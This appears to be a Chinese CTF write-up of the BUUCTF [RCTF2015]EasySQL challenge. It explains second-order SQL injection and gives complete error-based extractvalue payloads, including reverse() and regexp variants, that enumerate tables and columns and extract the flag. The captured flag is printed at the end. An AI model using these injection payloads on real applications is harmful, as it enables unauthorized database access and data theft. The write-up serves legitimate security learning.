【BUUCTF】[RCTF2015]EasySQL1

二次注入原理

是一种比较隐蔽的 SQL 注入类型

用户输入的数据先被存储到数据库中(此时可能未被恶意利用),后续应用程序从数据库中读取该数据并再次使用在 SQL 查询中,而此时就可能导致 SQL 注入问题。

如,用户注册时输入用户名 admin'-- ,这个数据被存储到数据库。之后,在修改密码等操作中,系统从数据库读取这个用户名并构建 SQL 语句,如 SELECT * FROM users WHERE username = '$username' ,这时就会引发注入。

进入题目页面,有登录、注册两个选择

先进入注册页面,尝试admin但是显示用户已存在

故随便输一个用户名密码邮箱

注册后进入登录页面,登陆后点击用户名可以看到change password

可以改密码,猜测是二次注入

在源码中发现应该是报错注入

利用字典爆破关键字看哪些被过滤了

extractvalue函数关键字未被注释,进行报错注入

爆出表名

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆出flag表的字段

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

爆出flag字段的内容

1"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

居然有诈qyq

试一试另一个表users

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

发现here只显示her,未全部显示,因为 extractvalue函数最多显示32位,故使用 reverse()函数,将回显结果倒置

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

爆出内容flag

采用正则注入

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

逆向输出

1"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

组合得到flag:flag{4acbc4b8-4f30-40ea-a840-98ac491a8b02}

相关推荐
Lentou2 分钟前
日志轮询策略
linux·服务器·网络
虹科网络安全8 分钟前
艾体宝产品|深度解读 Redis 8.4 新增功能:原子化 Slot 迁移(下)
数据库·redis·bootstrap
星融元asterfusion22 分钟前
如何为您的网络选择正确的PTP配置文件:一份实用指南
网络·ptp·时间同步
光路科技40 分钟前
一文讲透DHCP Snooping:从原理到工业网络实践
网络
有味道的男人1 小时前
对接亚马逊平台接口,商品全量信息一键抓取
数据库
云原生指北1 小时前
你的数据正在喂养 AI:从 Atlassian 公告,看科技平台的数据训练默认政策
笔记
威联通安全存储1 小时前
穿透宿主机内核:QNAP Virtualization Station 硬件直通解析
网络·nas
BenD-_-1 小时前
CVE-2026-31431 Copy Fail:Linux 内核本地提权漏洞风险与缓解
linux·网络·安全
Web极客码2 小时前
2026年Linux VPS安全加固清单:SSH、防火墙与审计就绪配置
运维·服务器·数据库
YOU OU2 小时前
网络初识(java)
网络